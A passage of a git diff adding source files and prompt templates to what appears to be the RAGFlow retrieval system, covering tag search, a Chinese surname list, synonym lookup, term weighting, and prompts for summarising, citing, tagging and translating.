index_name(tenant_id), + kb_ids) + dict_chunks = self.dataStore.getFields(es_res, fields) + for id, doc in dict_chunks.items(): + doc["id"] = id + if dict_chunks: + res.extend(dict_chunks.values()) + if len(dict_chunks.values()) < bs: + break + return res + + def all_tags(self, tenant_id: str, kb_ids: list[str], S=1000): + if not self.dataStore.indexExist(index_name(tenant_id), kb_ids[0]): + return [] + res = self.dataStore.search([], [], {}, [], OrderByExpr(), 0, 0, index_name(tenant_id), kb_ids, ["tag_kwd"]) + return self.dataStore.getAggregation(res, "tag_kwd") + + def all_tags_in_portion(self, tenant_id: str, kb_ids: list[str], S=1000): + res = self.dataStore.search([], [], {}, [], OrderByExpr(), 0, 0, index_name(tenant_id), kb_ids, ["tag_kwd"]) + res = self.dataStore.getAggregation(res, "tag_kwd") + total = np.sum([c for _, c in res]) + return {t: (c + 1) / (total + S) for t, c in res} + + def tag_content(self, tenant_id: str, kb_ids: list[str], doc, all_tags, topn_tags=3, keywords_topn=30, S=1000): + idx_nm = index_name(tenant_id) + match_txt = self.qryr.paragraph(doc["title_tks"] + " " + doc["content_ltks"], doc.get("important_kwd", []), keywords_topn) + res = self.dataStore.search([], [], {}, [match_txt], OrderByExpr(), 0, 0, idx_nm, kb_ids, ["tag_kwd"]) + aggs = self.dataStore.getAggregation(res, "tag_kwd") + if not aggs: + return False + cnt = np.sum([c for _, c in aggs]) + tag_fea = sorted([(a, round(0.1*(c + 1) / (cnt + S) / max(1e-6, all_tags.get(a, 0.0001)))) for a, c in aggs], + key=lambda x: x[1] * -1)[:topn_tags] + doc[TAG_FLD] = {a.replace(".", "_"): c for a, c in tag_fea if c > 0} + return True + + def tag_query(self, question: str, tenant_ids: str | list[str], kb_ids: list[str], all_tags, topn_tags=3, S=1000): + if isinstance(tenant_ids, str): + idx_nms = index_name(tenant_ids) + else: + idx_nms = [index_name(tid) for tid in tenant_ids] + match_txt, _ = self.qryr.question(question, min_match=0.0) + res = self.dataStore.search([], [], {}, [match_txt], OrderByExpr(), 0, 0, idx_nms, kb_ids, ["tag_kwd"]) + aggs = self.dataStore.getAggregation(res, "tag_kwd") + if not aggs: + return {} + cnt = np.sum([c for _, c in aggs]) + tag_fea = sorted([(a, round(0.1*(c + 1) / (cnt + S) / max(1e-6, all_tags.get(a, 0.0001)))) for a, c in aggs], + key=lambda x: x[1] * -1)[:topn_tags] + return {a.replace(".", "_"): max(1, c) for a, c in tag_fea} diff --git a/rag/nlp/surname.py b/rag/nlp/surname.py new file mode 100644 index 0000000..0b6a682 --- /dev/null +++ b/rag/nlp/surname.py @@ -0,0 +1,142 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +m = set(["赵","钱","孙","李", +"周","吴","郑","王", +"冯","陈","褚","卫", +"蒋","沈","韩","杨", +"朱","秦","尤","许", +"何","吕","施","张", +"孔","曹","严","华", +"金","魏","陶","姜", +"戚","谢","邹","喻", +"柏","水","窦","章", +"云","苏","潘","葛", +"奚","范","彭","郎", +"鲁","韦","昌","马", +"苗","凤","花","方", +"俞","任","袁","柳", +"酆","鲍","史","唐", +"费","廉","岑","薛", +"雷","贺","倪","汤", +"滕","殷","罗","毕", +"郝","邬","安","常", +"乐","于","时","傅", +"皮","卞","齐","康", +"伍","余","元","卜", +"顾","孟","平","黄", +"和","穆","萧","尹", +"姚","邵","湛","汪", +"祁","毛","禹","狄", +"米","贝","明","臧", +"计","伏","成","戴", +"谈","宋","茅","庞", +"熊","纪","舒","屈", +"项","祝","董","梁", +"杜","阮","蓝","闵", +"席","季","麻","强", +"贾","路","娄","危", +"江","童","颜","郭", +"梅","盛","林","刁", +"钟","徐","邱","骆", +"高","夏","蔡","田", +"樊","胡","凌","霍", +"虞","万","支","柯", +"昝","管","卢","莫", +"经","房","裘","缪", +"干","解","应","宗", +"丁","宣","贲","邓", +"郁","单","杭","洪", +"包","诸","左","石", +"崔","吉","钮","龚", +"程","嵇","邢","滑", +"裴","陆","荣","翁", +"荀","羊","於","惠", +"甄","曲","家","封", +"芮","羿","储","靳", +"汲","邴","糜","松", +"井","段","富","巫", +"乌","焦","巴","弓", +"牧","隗","山","谷", +"车","侯","宓","蓬", +"全","郗","班","仰", +"秋","仲","伊","宫", +"宁","仇","栾","暴", +"甘","钭","厉","戎", +"祖","武","符","刘", +"景","詹","束","龙", +"叶","幸","司","韶", +"郜","黎","蓟","薄", +"印","宿","白","怀", +"蒲","邰","从","鄂", +"索","咸","籍","赖", +"卓","蔺","屠","蒙", +"池","乔","阴","鬱", +"胥","能","苍","双", +"闻","莘","党","翟", +"谭","贡","劳","逄", +"姬","申","扶","堵", +"冉","宰","郦","雍", +"郤","璩","桑","桂", +"濮","牛","寿","通", +"边","扈","燕","冀", +"郏","浦","尚","农", +"温","别","庄","晏", +"柴","瞿","阎","充", +"慕","连","茹","习", +"宦","艾","鱼","容", +"向","古","易","慎", +"戈","廖","庾","终", +"暨","居","衡","步", +"都","耿","满","弘", +"匡","国","文","寇", +"广","禄","阙","东", +"欧","殳","沃","利", +"蔚","越","夔","隆", +"师","巩","厍","聂", +"晁","勾","敖","融", +"冷","訾","辛","阚", +"那","简","饶","空", +"曾","母","沙","乜", +"养","鞠","须","丰", +"巢","关","蒯","相", +"查","后","荆","红", +"游","竺","权","逯", +"盖","益","桓","公", +"兰","原","乞","西","阿","肖","丑","位","曽","巨","德","代","圆","尉","仵","纳","仝","脱","丘","但","展","迪","付","覃","晗","特","隋","苑","奥","漆","谌","郄","练","扎","邝","渠","信","门","陳","化","原","密","泮","鹿","赫", +"万俟","司马","上官","欧阳", +"夏侯","诸葛","闻人","东方", +"赫连","皇甫","尉迟","公羊", +"澹台","公冶","宗政","濮阳", +"淳于","单于","太叔","申屠", +"公孙","仲孙","轩辕","令狐", +"钟离","宇文","长孙","慕容", +"鲜于","闾丘","司徒","司空", +"亓官","司寇","仉督","子车", +"颛孙","端木","巫马","公西", +"漆雕","乐正","壤驷","公良", +"拓跋","夹谷","宰父","榖梁", +"晋","楚","闫","法","汝","鄢","涂","钦", +"段干","百里","东郭","南门", +"呼延","归","海","羊舌","微","生", +"岳","帅","缑","亢","况","后","有","琴", +"梁丘","左丘","东门","西门", +"商","牟","佘","佴","伯","赏","南宫", +"墨","哈","谯","笪","年","爱","阳","佟", +"第五","言","福"]) + +def isit(n):return n.strip() in m + diff --git a/rag/nlp/synonym.py b/rag/nlp/synonym.py new file mode 100644 index 0000000..a826a32 --- /dev/null +++ b/rag/nlp/synonym.py @@ -0,0 +1,84 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +import json +import os +import time +import re +from nltk.corpus import wordnet +from api.utils.file_utils import get_project_base_directory + + +class Dealer: + def __init__(self, redis=None): + + self.lookup_num = 100000000 + self.load_tm = time.time() - 1000000 + self.dictionary = None + path = os.path.join(get_project_base_directory(), "rag/res", "synonym.json") + try: + self.dictionary = json.load(open(path, 'r')) + except Exception: + logging.warning("Missing synonym.json") + self.dictionary = {} + + if not redis: + logging.warning( + "Realtime synonym is disabled, since no redis connection.") + if not len(self.dictionary.keys()): + logging.warning("Fail to load synonym") + + self.redis = redis + self.load() + + def load(self): + if not self.redis: + return + + if self.lookup_num < 100: + return + tm = time.time() + if tm - self.load_tm < 3600: + return + + self.load_tm = time.time() + self.lookup_num = 0 + d = self.redis.get("kevin_synonyms") + if not d: + return + try: + d = json.loads(d) + self.dictionary = d + except Exception as e: + logging.error("Fail to load synonym!" + str(e)) + + def lookup(self, tk, topn=8): + if re.match(r"[a-z]+$", tk): + res = list(set([re.sub("_", " ", syn.name().split(".")[0]) for syn in wordnet.synsets(tk)]) - set([tk])) + return [t for t in res if t] + + self.lookup_num += 1 + self.load() + res = self.dictionary.get(re.sub(r"[ \t]+", " ", tk.lower()), []) + if isinstance(res, str): + res = [res] + return res[:topn] + + +if __name__ == '__main__': + dl = Dealer() + print(dl.dictionary) diff --git a/rag/nlp/term_weight.py b/rag/nlp/term_weight.py new file mode 100644 index 0000000..33ee626 --- /dev/null +++ b/rag/nlp/term_weight.py @@ -0,0 +1,244 @@ + # +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +import math +import json +import re +import os +import numpy as np +from rag.nlp import rag_tokenizer +from api.utils.file_utils import get_project_base_directory + + +class Dealer: + def __init__(self): + self.stop_words = set(["请问", + "您", + "你", + "我", + "他", + "是", + "的", + "就", + "有", + "于", + "及", + "即", + "在", + "为", + "最", + "有", + "从", + "以", + "了", + "将", + "与", + "吗", + "吧", + "中", + "#", + "什么", + "怎么", + "哪个", + "哪些", + "啥", + "相关"]) + + def load_dict(fnm): + res = {} + f = open(fnm, "r") + while True: + line = f.readline() + if not line: + break + arr = line.replace("\n", "").split("\t") + if len(arr) < 2: + res[arr[0]] = 0 + else: + res[arr[0]] = int(arr[1]) + + c = 0 + for _, v in res.items(): + c += v + if c == 0: + return set(res.keys()) + return res + + fnm = os.path.join(get_project_base_directory(), "rag/res") + self.ne, self.df = {}, {} + try: + self.ne = json.load(open(os.path.join(fnm, "ner.json"), "r")) + except Exception: + logging.warning("Load ner.json FAIL!") + try: + self.df = load_dict(os.path.join(fnm, "term.freq")) + except Exception: + logging.warning("Load term.freq FAIL!") + + def pretoken(self, txt, num=False, stpwd=True): + patt = [ + r"[~—\t @#%!<>,\.\?\":;'\{\}\[\]_=\(\)\|，。？》•●○↓《；‘’：“”【¥ 】…￥！、·（）×`&\\/「」\\]" + ] + rewt = [ + ] + for p, r in rewt: + txt = re.sub(p, r, txt) + + res = [] + for t in rag_tokenizer.tokenize(txt).split(): + tk = t + if (stpwd and tk in self.stop_words) or ( + re.match(r"[0-9]$", tk) and not num): + continue + for p in patt: + if re.match(p, t): + tk = "#" + break + #tk = re.sub(r"([\+\\-])", r"\\\1", tk) + if tk != "#" and tk: + res.append(tk) + return res + + def tokenMerge(self, tks): + def oneTerm(t): return len(t) == 1 or re.match(r"[0-9a-z]{1,2}$", t) + + res, i = [], 0 + while i < len(tks): + j = i + if i == 0 and oneTerm(tks[i]) and len( + tks) > 1 and (len(tks[i + 1]) > 1 and not re.match(r"[0-9a-zA-Z]", tks[i + 1])): # 多 工位 + res.append(" ".join(tks[0:2])) + i = 2 + continue + + while j < len( + tks) and tks[j] and tks[j] not in self.stop_words and oneTerm(tks[j]): + j += 1 + if j - i > 1: + if j - i < 5: + res.append(" ".join(tks[i:j])) + i = j + else: + res.append(" ".join(tks[i:i + 2])) + i = i + 2 + else: + if len(tks[i]) > 0: + res.append(tks[i]) + i += 1 + return [t for t in res if t] + + def ner(self, t): + if not self.ne: + return "" + res = self.ne.get(t, "") + if res: + return res + + def split(self, txt): + tks = [] + for t in re.sub(r"[ \t]+", " ", txt).split(): + if tks and re.match(r".*[a-zA-Z]$", tks[-1]) and \ + re.match(r".*[a-zA-Z]$", t) and tks and \ + self.ne.get(t, "") != "func" and self.ne.get(tks[-1], "") != "func": + tks[-1] = tks[-1] + " " + t + else: + tks.append(t) + return tks + + def weights(self, tks, preprocess=True): + num_pattern = re.compile(r"[0-9,.]{2,}$") + short_letter_pattern = re.compile(r"[a-z]{1,2}$") + num_space_pattern = re.compile(r"[0-9. -]{2,}$") + letter_pattern = re.compile(r"[a-z. -]+$") + + def ner(t): + if num_pattern.match(t): + return 2 + if short_letter_pattern.match(t): + return 0.01 + if not self.ne or t not in self.ne: + return 1 + m = {"toxic": 2, "func": 1, "corp": 3, "loca": 3, "sch": 3, "stock": 3, + "firstnm": 1} + return m[self.ne[t]] + + def postag(t): + t = rag_tokenizer.tag(t) + if t in set(["r", "c", "d"]): + return 0.3 + if t in set(["ns", "nt"]): + return 3 + if t in set(["n"]): + return 2 + if re.match(r"[0-9-]+", t): + return 2 + return 1 + + def freq(t): + if num_space_pattern.match(t): + return 3 + s = rag_tokenizer.freq(t) + if not s and letter_pattern.match(t): + return 300 + if not s: + s = 0 + + if not s and len(t) >= 4: + s = [tt for tt in rag_tokenizer.fine_grained_tokenize(t).split() if len(tt) > 1] + if len(s) > 1: + s = np.min([freq(tt) for tt in s]) / 6. + else: + s = 0 + + return max(s, 10) + + def df(t): + if num_space_pattern.match(t): + return 5 + if t in self.df: + return self.df[t] + 3 + elif letter_pattern.match(t): + return 300 + elif len(t) >= 4: + s = [tt for tt in rag_tokenizer.fine_grained_tokenize(t).split() if len(tt) > 1] + if len(s) > 1: + return max(3, np.min([df(tt) for tt in s]) / 6.) + + return 3 + + def idf(s, N): return math.log10(10 + ((N - s + 0.5) / (s + 0.5))) + + tw = [] + if not preprocess: + idf1 = np.array([idf(freq(t), 10000000) for t in tks]) + idf2 = np.array([idf(df(t), 1000000000) for t in tks]) + wts = (0.3 * idf1 + 0.7 * idf2) * \ + np.array([ner(t) * postag(t) for t in tks]) + wts = [s for s in wts] + tw = list(zip(tks, wts)) + else: + for tk in tks: + tt = self.tokenMerge(self.pretoken(tk, True)) + idf1 = np.array([idf(freq(t), 10000000) for t in tt]) + idf2 = np.array([idf(df(t), 1000000000) for t in tt]) + wts = (0.3 * idf1 + 0.7 * idf2) * \ + np.array([ner(t) * postag(t) for t in tt]) + wts = [s for s in wts] + tw.extend(zip(tt, wts)) + + S = np.sum([s for _, s in tw]) + return [(t, s / S) for t, s in tw] diff --git a/rag/prompts/__init__.py b/rag/prompts/__init__.py new file mode 100644 index 0000000..b8b924b --- /dev/null +++ b/rag/prompts/__init__.py @@ -0,0 +1,6 @@ +from . import generator + +__all__ = [name for name in dir(generator) + if not name.startswith('_')] + +globals().update({name: getattr(generator, name) for name in __all__}) \ No newline at end of file diff --git a/rag/prompts/analyze_task_system.md b/rag/prompts/analyze_task_system.md new file mode 100644 index 0000000..148e411 --- /dev/null +++ b/rag/prompts/analyze_task_system.md @@ -0,0 +1,48 @@ +You are an intelligent task analyzer that adapts analysis depth to task complexity. + +**Analysis Framework** + +**Step 1: Task Transmission Assessment** +**Note**: This section is not subject to word count limitations when transmission is needed, as it serves critical handoff functions. + +**Evaluate if task transmission information is needed:** +- **Is this an initial step?** If yes, skip this section +- **Are there upstream agents/steps?** If no, provide minimal transmission +- **Is there critical state/context to preserve?** If yes, include full transmission + +### If Task Transmission is Needed: +- **Current State Summary**: [1-2 sentences on where we are] +- **Key Data/Results**: [Critical findings that must carry forward] +- **Context Dependencies**: [Essential context for next agent/step] +- **Unresolved Items**: [Issues requiring continuation] +- **Status for User**: [Clear status update in user terms] +- **Technical State**: [System state for technical handoffs] + +**Step 2: Complexity Classification** +Classify as LOW / MEDIUM / HIGH: +- **LOW**: Single-step tasks, direct queries, small talk +- **MEDIUM**: Multi-step tasks within one domain +- **HIGH**: Multi-domain coordination or complex reasoning + +**Step 3: Adaptive Analysis** +Scale depth to match complexity. Always stop once success criteria are met. + +**For LOW (max 50 words for analysis only):** +- Detect small talk; if true, output exactly: `Small talk — no further analysis needed` +- One-sentence objective +- Direct execution approach (1–2 steps) + +**For MEDIUM (80–150 words for analysis only):** +- Objective; Intent & Scope +- 3–5 step minimal Plan (may mark parallel steps) +- **Uncertainty & Probes** (at least one probe with a clear stop condition) +- Success Criteria + basic Failure detection & fallback +- **Source Plan** (how evidence will be obtained/verified) + +**For HIGH (150–250 words for analysis only):** +- Comprehensive objective analysis; Intent & Scope +- 5–8 step Plan with dependencies/parallelism +- **Uncertainty & Probes** (key unknowns → probe → stop condition) +- Measurable Success Criteria; Failure detectors & fallbacks +- **Source Plan** (evidence acquisition & validation) +- **Reflection Hooks** (escalation/de-escalation triggers) diff --git a/rag/prompts/analyze_task_user.md b/rag/prompts/analyze_task_user.md new file mode 100644 index 0000000..81dc9f2 --- /dev/null +++ b/rag/prompts/analyze_task_user.md @@ -0,0 +1,9 @@ +**Input Variables** +- **{{ task }}** — the task/request to analyze +- **{{ context }}** — background, history, situational context +- **{{ agent_prompt }}** — special instructions/role hints +- **{{ tools_desc }}** — available sub-agents and capabilities + +**Final Output Rule** +Return the Task Transmission section (if needed) followed by the concrete analysis and planning steps according to LOW / MEDIUM / HIGH complexity. +Do not restate the framework, definitions, or rules. Output only the final structured result. diff --git a/rag/prompts/ask_summary.md b/rag/prompts/ask_summary.md new file mode 100644 index 0000000..2074e9c --- /dev/null +++ b/rag/prompts/ask_summary.md @@ -0,0 +1,14 @@ +Role: You're a smart assistant. Your name is Miss R. +Task: Summarize the information from knowledge bases and answer user's question. +Requirements and restriction: + - DO NOT make things up, especially for numbers. + - If the information from knowledge is irrelevant with user's question, JUST SAY: Sorry, no relevant information provided. + - Answer with markdown format text. + - Answer in language of user's question. + - DO NOT make things up, especially for numbers. + +### Information from knowledge bases + +{{ knowledge }} + +The above is information from knowledge bases. diff --git a/rag/prompts/assign_toc_levels.md b/rag/prompts/assign_toc_levels.md new file mode 100644 index 0000000..fff0cd8 --- /dev/null +++ b/rag/prompts/assign_toc_levels.md @@ -0,0 +1,53 @@ +You are given a JSON array of TOC items. Each item has at least {"title": string} and may include an existing structure. + +Task +- For each item, assign a depth label using Arabic numerals only: top-level = 1, second-level = 2, third-level = 3, etc. +- Multiple items may share the same depth (e.g., many 1s, many 2s). +- Do not use dotted numbering (no 1.1/1.2). Use a single digit string per item indicating its depth only. +- Preserve the original item order exactly. Do not insert, delete, or reorder. +- Decide levels yourself to keep a coherent hierarchy. Keep peers at the same depth. + +Output +- Return a valid JSON array only (no extra text). +- Each element must be {"structure": "1|2|3", "title": }. +- title must be the original title string. + +Examples + +Example A (chapters with sections) +Input: +["Chapter 1 Methods", "Section 1 Definition", "Section 2 Process", "Chapter 2 Experiment"] + +Output: +[ + {"structure":"1","title":"Chapter 1 Methods"}, + {"structure":"2","title":"Section 1 Definition"}, + {"structure":"2","title":"Section 2 Process"}, + {"structure":"1","title":"Chapter 2 Experiment"} +] + +Example B (parts with chapters) +Input: +["Part I Theory", "Chapter 1 Basics", "Chapter 2 Methods", "Part II Applications", "Chapter 3 Case Studies"] + +Output: +[ + {"structure":"1","title":"Part I Theory"}, + {"structure":"2","title":"Chapter 1 Basics"}, + {"structure":"2","title":"Chapter 2 Methods"}, + {"structure":"1","title":"Part II Applications"}, + {"structure":"2","title":"Chapter 3 Case Studies"} +] + +Example C (plain headings) +Input: +["Introduction", "Background and Motivation", "Related Work", "Methodology", "Evaluation"] + +Output: +[ + {"structure":"1","title":"Introduction"}, + {"structure":"2","title":"Background and Motivation"}, + {"structure":"2","title":"Related Work"}, + {"structure":"1","title":"Methodology"}, + {"structure":"1","title":"Evaluation"} +] \ No newline at end of file diff --git a/rag/prompts/citation_plus.md b/rag/prompts/citation_plus.md new file mode 100644 index 0000000..77bba4e --- /dev/null +++ b/rag/prompts/citation_plus.md @@ -0,0 +1,13 @@ +You are an agent for adding correct citations to the given text by user. +You are given a piece of text within [ID:] tags, which was generated based on the provided sources. +However, the sources are not cited in the [ID:]. +Your task is to enhance user trust by generating correct, appropriate citations for this report. + +{{ example }} + + + +{{ sources }} + + + diff --git a/rag/prompts/citation_prompt.md b/rag/prompts/citation_prompt.md new file mode 100644 index 0000000..55c89c4 --- /dev/null +++ b/rag/prompts/citation_prompt.md @@ -0,0 +1,109 @@ +Based on the provided document or chat history, add citations to the input text using the format specified later. + +# Citation Requirements: + +## Technical Rules: +- Use format: [ID:i] or [ID:i] [ID:j] for multiple sources +- Place citations at the end of sentences, before punctuation +- Maximum 4 citations per sentence +- DO NOT cite content not from +- DO NOT modify whitespace or original text +- STRICTLY prohibit non-standard formatting (~~, etc.) + +## What MUST Be Cited: +1. **Quantitative data**: Numbers, percentages, statistics, measurements +2. **Temporal claims**: Dates, timeframes, sequences of events +3. **Causal relationships**: Claims about cause and effect +4. **Comparative statements**: Rankings, comparisons, superlatives +5. **Technical definitions**: Specialized terms, concepts, methodologies +6. **Direct attributions**: What someone said, did, or believes +7. **Predictions/forecasts**: Future projections, trend analyses +8. **Controversial claims**: Disputed facts, minority opinions + +## What Should NOT Be Cited: +- Common knowledge (e.g., "The sun rises in the east") +- Transitional phrases +- General introductions +- Your own analysis or synthesis (unless directly from source) + +# Comprehensive Examples: + +## Example 1: Data and Statistics + +ID: 45 +└── Content: The global smartphone market grew by 7.8% in Q3 2024, with Samsung holding 20.6% market share and Apple at 15.8%. + +ID: 46 +└── Content: 5G adoption reached 1.5 billion users worldwide by October 2024. + + +USER: How is the smartphone market performing? + +ASSISTANT: +The smartphone industry is showing strong recovery. The global smartphone market grew by 7.8% in Q3 2024 [ID:45]. Samsung leads with 20.6% market share, followed by Apple at 15.8% [ID:45]. This growth is partly driven by 5G technology, which reached 1.5 billion users worldwide by October 2024 [ID:46]. + +## Example 2: Causal Relationships and Predictions + +ID: 78 +└── Content: Rising interest rates have led to a 15% decline in housing starts. Economists predict this trend will continue through 2025. + +ID: 79 +└── Content: The Federal Reserve's aggressive monetary policy is the primary driver behind the real estate slowdown. + + +USER: What's happening in the real estate market? + +ASSISTANT: +The real estate market is experiencing significant challenges. Rising interest rates have led to a 15% decline in housing starts [ID:78]. The Federal Reserve's aggressive monetary policy is the primary driver behind this real estate slowdown [ID:79]. Economists predict this trend will continue through 2025 [ID:78]. These factors suggest a prolonged period of market adjustment ahead. + +## Example 3: Technical Concepts and Comparisons + +ID: 101 +└── Content: Quantum computing uses quantum bits (qubits) that can exist in superposition, unlike classical bits which are either 0 or 1. + +ID: 102 +└── Content: Current quantum computers can solve certain problems 158 million times faster than classical supercomputers. + + +USER: Explain quantum computing advantages. + +ASSISTANT: +Quantum computing represents a fundamental shift in computational capability. Unlike classical computers, quantum computing uses quantum bits (qubits) that can exist in superposition, rather than being limited to just 0 or 1 [ID:101]. This unique property enables extraordinary performance gains. Current quantum computers can solve certain problems 158 million times faster than classical supercomputers [ID:102]. This technology promises to revolutionize fields requiring complex calculations. + +## Example 4: Mixed Citation Needs + +ID: 201 +└── Content: CEO Jane Smith announced: "We're pivoting to AI-first strategy, expecting 40% revenue growth by 2026." + +ID: 202 +└── Content: Industry analysts remain skeptical, with Morgan Stanley rating the stock as "underperform." + +ID: 203 +└── Content: The company's AI division currently represents only 5% of total revenue. + + +USER: What's the company's new strategy? + +ASSISTANT: +The company is undergoing a major strategic transformation. CEO Jane Smith announced: "We're pivoting to AI-first strategy, expecting 40% revenue growth by 2026" [ID:201]. However, this ambitious goal faces skepticism, as industry analysts remain doubtful, with Morgan Stanley rating the stock as "underperform" [ID:202]. The challenge is significant given that the company's AI division currently represents only 5% of total revenue [ID:203]. Success will depend on execution of this bold vision. + +## Example 5: When NOT to Cite + +ID: 301 +└── Content: Paris is the capital of France. The Eiffel Tower was completed in 1889. + + +USER: Tell me about Paris. + +ASSISTANT: +Paris is the capital of France. It's known for its rich history, culture, and architecture. The Eiffel Tower was completed in 1889 [ID:301]. The city attracts millions of tourists annually. Paris remains one of the world's most visited destinations. +(Note: Only the specific date needs citation, not common knowledge about Paris) + +--- Examples END --- + +REMEMBER: +- Cite FACTS, not opinions or transitions +- Each citation supports the ENTIRE sentence +- When in doubt, ask: "Would a fact-checker need to verify this?" +- Place citations at sentence end, before punctuation +- Format likes this is FORBIDDEN: [ID:0, ID:5, ID:...]. It MUST be seperated like, [ID:0][ID:5]... diff --git a/rag/prompts/content_tagging_prompt.md b/rag/prompts/content_tagging_prompt.md new file mode 100644 index 0000000..75d6f15 --- /dev/null +++ b/rag/prompts/content_tagging_prompt.md @@ -0,0 +1,32 @@ +## Role +You are a text analyzer. + +## Task +Add tags (labels) to a given piece of text content based on the examples and the entire tag set. + +## Steps +- Review the tag/label set. +- Review examples which all consist of both text content and assigned tags with relevance score in JSON format. +- Summarize the text content, and tag it with the top {{ topn }} most relevant tags from the set of tags/labels and the corresponding relevance score. + +## Requirements +- The tags MUST be from the tag set. +- The output MUST be in JSON format only, the key is tag and the value is its relevance score. +- The relevance score must range from 1 to 10. +- Output keywords ONLY. + +# TAG SET +{{ all_tags | join(', ') }} + +{% for ex in examples %} +# Examples {{ loop.index0 }} +### Text Content +{{ ex.content }} + +Output: +{{ ex.tags_json }} + +{% endfor %} +# Real Data +### Text Content +{{ content }} diff --git a/rag/prompts/cross_languages_sys_prompt.md b/rag/prompts/cross_languages_sys_prompt.md new file mode 100644 index 0000000..9761944 --- /dev/null +++ b/rag/prompts/cross_languages_sys_prompt.md @@ -0,0 +1,35 @@ +## Role +A streamlined multilingual translator. + +## Behavior Rules +1. Accept batch translation requests in the following format: + **Input:** `[text]` + **Target Languages:** comma-separated list + +2. Maintain: + - Original formatting (tables, lists, spacing) + - Technical terminology accuracy + - Cultural context appropriateness + +3. Output translations in the following format: + +[Translation in language1] +### +[Translation in language2] + +--- + +## Example + +**Input:** +Hello World! Let's discuss AI safety. +=== +Chinese, French, Japanese + +**Output:** +你好世界！让我们讨论人工智能安全问题。 +### +Bonjour le monde ! Parlons de la sécurité de l'IA. +### +こんにちは世界！AIの安全性について話し合いましょう。 + diff --git a/rag/prompts/cross_languages_user_prompt.md b/rag/prompts/cross_languages_user_prompt.md new file mode 100644 index 0000000..f729ef5 --- /dev/null +++ b/rag/prompts/cross_languages_user_prompt.md @@ -0,0 +1,7 @@ +**Input:** +{{ query }} +=== +{{ languages | join(', ') }} + +**Output:** + diff --git a/rag/prompts/full_question_prompt.md b/rag/prompts/full_question_prompt.md new file mode 100644 index 0000000..d7276a3 --- /dev/null +++ b/rag/prompts/full_question_prompt.md @@ -0,0 +1,62 @@ +## Role +A helpful assistant. + +## Task & Steps +1. Generate a full user question that would follow the conversation. +2. If the user's question involves relative dates, convert them into absolute dates based on today ({{ today }}). + - "yesterday" = {{ yesterday }}, "tomorrow" = {{ tomorrow }} + +## Requirements & Restrictions +- If the user's latest question is already complete, don't do anything — just return the original question. +- DON'T generate anything except a refined question. +{% if language %} +- Text generated MUST be in {{ language }}. +{% else %} +- Text generated MUST be in the same language as the original user's question. +{% endif %} + +--- + +## Examples + +### Example 1 +**Conversation:** + +USER: What is the name of Donald Trump's father? +ASSISTANT: Fred Trump. +USER: And his mother? + +**Output:** What's the name of Donald Trump's mother? + +--- + +### Example 2 +**Conversation:** + +USER: What is the name of Donald Trump's father? +ASSISTANT: Fred Trump. +USER: And his mother? +ASSISTANT: Mary Trump. +USER: What's her full name? + +**Output:** What's the full name of Donald Trump's mother Mary Trump? + +--- + +### Example 3 +**Conversation:** + +USER: What's the weather today in London? +ASSISTANT: Cloudy. +USER: What's about tomorrow in Rochester? + +**Output:** What's the weather in Rochester on {{ tomorrow }}? + +--- + +## Real Data + +**Conversation:** + +{{ conversation }} + diff --git a/rag/prompts/generator.py b/rag/prompts/generator.py new file mode 100644 index 0000000..fa812c1 --- /dev/null +++ b/rag/prompts/generator.py @@ -0,0 +1,733 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import datetime +import json +import logging +import re +from copy import deepcopy +from typing import Tuple +import jinja2 +import json_repair +from api.utils import hash_str2int +from rag.prompts.template import load_prompt +from rag.settings import TAG_FLD +from rag.utils import encoder, num_tokens_from_string + + +STOP_TOKEN="<|STOP|>" +COMPLETE_TASK="complete_task" +INPUT_UTILIZATION = 0.5 + +def get_value(d, k1, k2): + return d.get(k1, d.get(k2)) + + +def chunks_format(reference): + + return [ + { + "id": get_value(chunk, "chunk_id", "id"), + "content": get_value(chunk, "content", "content_with_weight"), + "document_id": get_value(chunk, "doc_id", "document_id"), + "document_name": get_value(chunk, "docnm_kwd", "document_name"), + "dataset_id": get_value(chunk, "kb_id", "dataset_id"), + "image_id": get_value(chunk, "image_id", "img_id"), + "positions": get_value(chunk, "positions", "position_int"), + "url": chunk.get("url"), + "similarity": chunk.get("similarity"), + "vector_similarity": chunk.get("vector_similarity"), + "term_similarity": chunk.get("term_similarity"), + "doc_type": chunk.get("doc_type_kwd"), + } + for chunk in reference.get("chunks", []) + ] + + +def message_fit_in(msg, max_length=4000): + def count(): + nonlocal msg + tks_cnts = [] + for m in msg: + tks_cnts.append({"role": m["role"], "count": num_tokens_from_string(m["content"])}) + total = 0 + for m in tks_cnts: + total += m["count"] + return total + + c = count() + if c < max_length: + return c, msg + + msg_ = [m for m in msg if m["role"] == "system"] + if len(msg) > 1: + msg_.append(msg[-1]) + msg = msg_ + c = count() + if c < max_length: + return c, msg + + ll = 